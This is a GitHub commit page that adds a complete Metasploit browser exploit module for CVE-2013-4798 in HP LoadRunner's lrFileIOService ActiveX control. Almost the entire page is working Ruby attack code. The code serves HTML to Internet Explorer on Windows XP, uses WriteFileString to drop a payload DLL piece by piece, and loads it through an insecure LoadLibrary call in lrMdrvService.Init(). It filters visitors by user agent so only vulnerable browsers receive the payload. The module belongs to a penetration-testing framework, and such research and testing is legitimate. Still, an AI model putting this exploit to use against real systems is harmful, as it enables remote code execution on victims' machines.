Skip to content

Commit 7401f83

Browse files
wchen-r7wchen-r7
committed
Land rapid7#2305 - HP LoadRunner lrFileIOService ActiveX WriteFileString Bug
2 parents 2176f0b + 657be3a commit 7401f83

File tree

1 file changed

+152
-0
lines changed

1 file changed

+152
-0
lines changed

‎modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb

Lines changed: 152 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,152 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::Remote::BrowserAutopwn
15+
include Msf::Exploit::EXE
16+
17+
autopwn_info({
18+
:ua_name => HttpClients::IE,
19+
:ua_minver => "6.0",
20+
:ua_maxver => "8.0",
21+
:javascript => true,
22+
:os_name => OperatingSystems::WINDOWS,
23+
:os_ver => OperatingSystems::WindowsVersions::XP,
24+
:rank => NormalRanking,
25+
:classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
26+
:method => "WriteFileString "
27+
})
28+
29+
def initialize(info={})
30+
super(update_info(info,
31+
'Name' => "HP LoadRunner lrFileIOService ActiveX WriteFileString Remote Code Execution",
32+
'Description' => %q{
33+
This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
34+
with HP LoadRunner 11.50. The vulnerability exists in the WriteFileString method,
35+
which allow the user to write arbitrary files. It's abused to drop a payload
36+
embedded in a dll, which is later loaded through the Init() method from the
37+
lrMdrvService control, by abusing an insecure LoadLibrary call. This module has
38+
been tested successfully on IE8 on Windows XP. Virtualization based on the Low
39+
Integrity Process, on Windows Vista and 7, will stop this module because the DLL
40+
will be dropped to a virtualized folder, which isn't used by LoadLibrary.
41+
},
42+
'License' => MSF_LICENSE,
43+
'Author' =>
44+
[
45+
'Brian Gorenc', # Vulnerability discovery
46+
'juan vazquez' # Metasploit module
47+
],
48+
'References' =>
49+
[
50+
[ 'CVE', '2013-4798' ],
51+
[ 'OSVDB', '95642' ],
52+
[ 'BID', '61443'],
53+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ],
54+
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
55+
],
56+
'Payload' =>
57+
{
58+
'Space' => 2048,
59+
'DisableNops' => true
60+
},
61+
'Platform' => 'win',
62+
'Targets' =>
63+
[
64+
[ 'Automatic IE on Windows XP', {} ]
65+
],
66+
'Privileged' => false,
67+
'DisclosureDate' => "Jul 24 2013",
68+
'DefaultTarget' => 0))
69+
70+
register_options(
71+
[
72+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
73+
], self.class)
74+
75+
end
76+
77+
# Just reminding the user to delete LrWeb2MdrvLoader.dll
78+
# because migration and killing the exploited process is
79+
# needed
80+
def on_new_session(session)
81+
print_status("New session... remember to delete LrWeb2MdrvLoader.dll")
82+
end
83+
84+
def is_target?(agent)
85+
if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/
86+
return true
87+
end
88+
89+
return false
90+
end
91+
92+
def create_dll_js(object_id, dll_data)
93+
dll_js = ""
94+
first = true
95+
dll_data.each_char { |chunk|
96+
if first
97+
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n"
98+
first = false
99+
else
100+
dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n"
101+
end
102+
}
103+
return dll_js
104+
end
105+
106+
def load_exploit_html(cli)
107+
return nil if ((p = regenerate_payload(cli)) == nil)
108+
109+
file_io = rand_text_alpha(rand(10) + 8)
110+
mdrv_service = rand_text_alpha(rand(10) + 8)
111+
dll_data = generate_payload_dll({ :code => p.encoded })
112+
drop_dll_js = create_dll_js(file_io, dll_data)
113+
114+
html = %Q|
115+
<html>
116+
<body>
117+
<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object>
118+
<object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object>
119+
<script language='javascript'>
120+
#{drop_dll_js}
121+
#{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}");
122+
</script>
123+
</body>
124+
</html>
125+
|
126+
127+
return html
128+
end
129+
130+
def on_request_uri(cli, request)
131+
agent = request.headers['User-Agent']
132+
uri = request.uri
133+
print_status("Requesting: #{uri}")
134+
135+
# Avoid the attack if no suitable target found
136+
if not is_target?(agent)
137+
print_error("Browser not supported, sending 404: #{agent}")
138+
send_not_found(cli)
139+
return
140+
end
141+
142+
html = load_exploit_html(cli)
143+
if html.nil?
144+
send_not_found(cli)
145+
return
146+
end
147+
html = html.gsub(/^\t\t/, '')
148+
print_status("Sending HTML...")
149+
send_response(cli, html, {'Content-Type'=>'text/html'})
150+
end
151+
152+
end

0 commit comments

Comments
 (0)